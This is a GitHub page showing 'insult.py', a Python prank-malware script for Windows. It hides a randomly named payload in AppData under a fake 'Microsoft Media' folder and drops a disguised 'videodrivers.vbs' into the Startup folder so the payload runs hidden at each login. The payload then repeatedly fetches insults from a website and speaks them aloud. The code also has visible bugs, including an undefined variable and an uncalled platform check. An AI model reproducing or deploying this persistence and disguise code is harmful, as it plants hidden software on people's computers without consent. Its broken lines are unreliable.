-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathinsult.py
111 lines (94 loc) · 3.28 KB
/
insult.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
def infinite_insult(py_file_path,bat_file_path):
def get_user():
import getpass as gp
import platform as pf
import os
SYSTEM = pf.system()
try:
ret = gp.getuser()
except:
try:
temp_list = os.getcwd().split( '\\' if SYSTEM=='Windows' else '/' )
ret = temp_list[ temp_list.index('Users') + 1 ]
except:
try:
temp_list = __file__.split( '\\' if SYSTEM=='Windows' else '/' )
ret = temp_list[ temp_list.index('Users') + 1 ]
except:
ret = 'Unable to determine'
return ret
# Makes paths if they dont exist
if not os.path.exists( os.path.dirname(file_path) ):
os.makedirs( os.path.dirname(file_path) )
if not os.path.exists( os.path.dirname(py_file_path) ):
os.makedirs( os.path.dirname(py_file_path) )
if not os.path.exists( os.path.dirname(bat_file_path) ):
os.makedirs( os.path.dirname(bat_file_path) )
vbs_file_path = f'C:\\Users\\{get_user()}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\videodrivers.vbs'
py_file_data = r'''import urllib.request
import random as r
import time as t
LINK = 'https://evilinsult.com/generate_insult.php?lang=en'
def get_insult():
with urllib.request.urlopen(LINK) as response:
ret = response.read().decode()
return ret
def make_computer_speak(msg):
import platform as pf
if pf.system() == 'Windows':
from win32com.client import Dispatch
obj = Dispatch("SAPI.SpVoice").Speak
obj(msg)
else:
import os
os.system(f'say "{msg}"')
while True:
delay = r.randint(1,30*60)
print(delay)
t.sleep(delay)
insult = get_insult()
make_computer_speak(insult)'''
# Makes the .py file
with open(py_file_path, 'w') as py_file:
py_file.write(py_file_data)
# Makes the .bat file
with open(bat_file_path, 'w') as bat_file:
bat_file.write(f'python "{py_file_path}"')
# Makes the .vbs file
with open(vbs_file_path, 'w') as vbs_file:
vbs_file.write(f'Set WshShell = CreateObject("WScript.Shell")\nWshShell.Run chr(34) & "{bat_file_path}" & Chr(34), 0\nSet WshShell = Nothing')
if __name__ == '__main__':
import platform as pf
import sys
# If not windows, exit
if not pf.system == 'Windows':
sys.exit()
def get_user():
import getpass as gp
import platform as pf
import os
SYSTEM = pf.system()
try:
ret = gp.getuser()
except:
try:
temp_list = os.getcwd().split( '\\' if SYSTEM=='Windows' else '/' )
ret = temp_list[ temp_list.index('Users') + 1 ]
except:
try:
temp_list = __file__.split( '\\' if SYSTEM=='Windows' else '/' )
ret = temp_list[ temp_list.index('Users') + 1 ]
except:
ret = 'Unable to determine'
return ret
def rand_string(chars):
import random as r
lib = 'qwertyuiopasdfghjklzxcvbnm'
ret = ''
for _ in range(chars):
rand_chr = lib[r.randint( 0, len(lib)-1 )]
ret += rand_chr
return ret
py_file_path = f'C:\\Users\\{get_user()}\\AppData\\Local\\Microsoft Media\\{rand_string(12)}.py'
bat_file_path = f'C:\\Users\\{get_user()}\\AppData\\Local\\Microsoft Media\\{rand_string(12)}.bat'
infinite_insult(py_file_path,bat_file_path)